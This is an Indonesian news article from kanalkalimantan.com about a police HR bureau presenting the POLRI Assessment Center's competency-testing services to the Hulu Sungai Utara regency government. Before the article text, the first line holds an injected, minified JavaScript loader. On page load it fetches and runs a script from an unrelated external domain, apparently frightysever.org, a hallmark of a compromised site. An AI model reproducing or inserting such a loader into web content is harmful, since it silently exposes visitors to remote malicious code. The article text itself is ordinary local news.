(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, AMUNTAI – Biro Sumber Daya Manusia (SDM) Polda Kalimantan Selatan melakukan sosialisasi PNBP Assessment Center POLRI kepada Pemerintah Kabupaten Hulu Sungai Utara (HSU).
Kegiatan sosialisasi yang di fasilitasi Bagian Sumber Daya Manusia (SDM) Polres HSU tersebut, digelar di Mess Negara Dipa, Selasa (28/2/2023).
Sosialisasi PNBP Assessment Center Polri ini dihadiri oleh para Asisten Setda HSU, Inspektur, para Staf Ahli Bupati, Kabag Hukum serta pejabat SKPD lainnya.
Asesor Polda Kalsel, AKBP Haris mengatakan, sejak dibentuk tahun 2009 di Mabes Polri, Assessment Center merupakan satu badan yang bertugas untuk menyelenggarakan uji kompetensi.
Baca juga: Presiden Jokowi Yakin Kawasan KIPI jadi Masa Depan Industri Energi Hijau Indonesia
Ia menjelaskan, meski fungsi dari uji kompetensi yang dilakukan oleh Assessment Center awalnya digunakan untuk keperluan internal. Namun seiring dengan perkembangannya dan permintaan lembaga eksternal, Assessment Center Polri mulai dikenalkan kepada instansi-instansi lembaga lainnya.
“Assessment Center Polri memiliki alat ukur yang reliabel dan objektif, yang sudah teruji selama 10 tahun terakhir dan ditunjang dengan tenaga assessor yang telah tersertifikasi dari Lembaga Sertifikasi Profesi (LSP),” Jelas Haris.
Oleh karenanya, Assessment Center Polri menawarkan MoU dengan Pemerintah Kabupaten HSU untuk mendapatkan kandidat yang sesuai dengan kriteria dan syarat menduduki sebuah jabatan, melaksanakan identifikasi kader-kader potensial dalam menempati kedudukan tertentu, serta strategi dalam pengembangan kompetensi terhadap para pegawainya.
Sementara itu, Penjabat (Pj) Bupati HSU melalui Pelaksana tugas (Plt) Asisten Pemerintahan dan Kesra, Adi Lesmana menyampaikan apresiasinya dan menyambut baik kerjasama Assessment Center Polri guna mendapatkan SDM yang tangguh dan berkualitas kedepannya.
” Kita berharap kedepannya dalam rangka mendapatkan kandidat pegawai atau pejabat dilingkungan Pemkab HSU yang sesuai dengan kriteria,” Kata Adi.
Baca juga: Baznas HSU Salurkan ZIS Rp 214 Juta untuk Beasiswa hingga Modal UMKM
Dikatakannya, bahwa Assessment ini penting dilakukan mengingat Aparatur Sipil Negara (ASN) merupakan faktor sentral penggerak roda pemerintahan.
Selain itu, Kata Adi Assessment kompetensi ini juga sangat penting dilakukan, hal ini sesuai dengan peraturan menteri pendayagunaan aparatur negara dan reformasi birokrasi nomor 13 tahun 2014 tentang tata cara pengisian jabatan pimpinan tinggi secara terbuka di lingkungan instansi pemerintah.
“Instansi pemerintah perlu dan harus melakukan promosi jabatan pimpinan tinggi secara terbuka dan melaksanakannya sesuai dengan prinsip-prinsip profesionalisme, kompetensi, prestasi dan jenjang kepangkatan yang ditetapkan,” tutupnya. (kanalkalimantan.com/dew)
Reporter: dew
Editor: cell
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
This website uses cookies.